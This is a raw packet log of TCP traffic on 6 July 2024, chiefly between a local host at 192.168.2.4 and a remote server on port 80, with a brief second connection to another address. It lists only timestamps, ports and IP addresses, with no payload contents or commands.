Jul 6, 2024 14:10:14.337404013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337461948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337517977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337536097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337558985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337585926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337588072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337690115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337729931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337742090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337779045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337815046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337815046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337841988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337869883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337928057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337985039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338043928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338072062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338134050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338226080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338238955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338255882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338274956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338304996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338327885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338346958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338370085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338428020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338457108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338463068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338651896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338766098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338804960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338819027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338834047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338869095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338901043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.338943005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338956118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338968992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.338994026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339004993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339030981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339070082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339117050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339117050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339119911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339159966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339236021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339262009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339287043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339310884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339374065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339402914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339469910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339493990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339562893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339608908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339637041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339663029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339693069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339700937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339729071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339777946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339792967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339911938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.339956045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.339956045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340007067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340106010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340118885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340195894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340219975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340224028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340245962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340267897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340296030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340306044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340389967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340416908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340425968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340572119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340601921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340629101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340812922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340841055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340879917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340917110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.340940952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.340986967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341136932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341152906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341165066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341166973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341193914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341209888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341223955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341236115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341245890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341281891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341309071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341317892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341347933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341392040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341434956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341460943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341531038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341598988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341612101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341626883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341633081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341658115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341825962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341839075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.341877937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.341877937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.342067957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.342092037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.342106104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.342503071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.354238033 CEST	49737	80	192.168.2.4	118.184.169.48
Jul 6, 2024 14:10:14.359097004 CEST	80	49737	118.184.169.48	192.168.2.4
Jul 6, 2024 14:10:14.363575935 CEST	49737	80	192.168.2.4	118.184.169.48
Jul 6, 2024 14:10:14.363575935 CEST	49737	80	192.168.2.4	118.184.169.48
Jul 6, 2024 14:10:14.368514061 CEST	80	49737	118.184.169.48	192.168.2.4
Jul 6, 2024 14:10:14.530791044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.530819893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.530863047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.530877113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.530880928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.530880928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.530913115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.530913115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531290054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531305075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531337976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531353951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531354904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531354904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531368017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531375885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531416893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531508923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531522989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531537056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531542063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531599045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.531757116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531847954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531863928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531882048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.531919003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532041073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532071114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532099009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532124996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532133102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532155037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532180071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532187939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532195091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532376051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532402992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532418013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532430887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532474041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532579899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532608032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532623053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532675982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532675982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532742977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532782078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532809019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532830000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.532881975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532974958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.532988071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533035040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533051968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533065081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533077002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533129930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533129930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533489943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533504009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533519030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533565044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533565044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533615112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533658981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533672094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533674955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533739090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533751011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533756018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533808947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.533896923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533951998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.533972025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534024000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534077883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534097910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534238100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534266949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534346104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534375906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534390926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534411907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534426928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534426928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534468889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534612894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534674883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534689903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534703970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534724951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534795046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534809113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534882069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534909964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.534945965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.534970045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535018921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535032034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535038948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535046101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535096884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535096884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535142899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535218000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535232067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535279036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535279036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535703897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535751104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535765886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535773039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535784960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535825014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535840034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535846949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535854101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535919905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535928965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535928965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.535952091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.535974026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.536148071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.536742926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.536757946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.536838055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.724862099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.724886894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.724909067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.724930048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.724961042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.724981070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725009918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725123882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725146055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725172997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725253105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725295067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725310087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725316048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725328922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725509882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725523949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725568056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725581884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725589991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725667953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725681067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725691080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725822926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.725893974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725959063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725971937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.725979090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726052046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726290941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726346016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726366997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726438999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726470947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726485014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726490974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726500034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726501942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726522923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726617098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726670027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726746082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726758957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.726814032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726814032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.726989031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727037907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727050066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727080107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727093935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727102041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727102041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727138996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727138996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727200031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727262974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727288961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727340937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727360964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.727375984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.727673054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728030920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728117943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728131056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728140116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728143930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728167057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728254080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728322029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728384018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728399038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728406906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728452921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728492975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728516102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728557110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.728599072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728612900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728645086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.728678942 CEST	80	49732	211.108.60.155	192.168.2.4
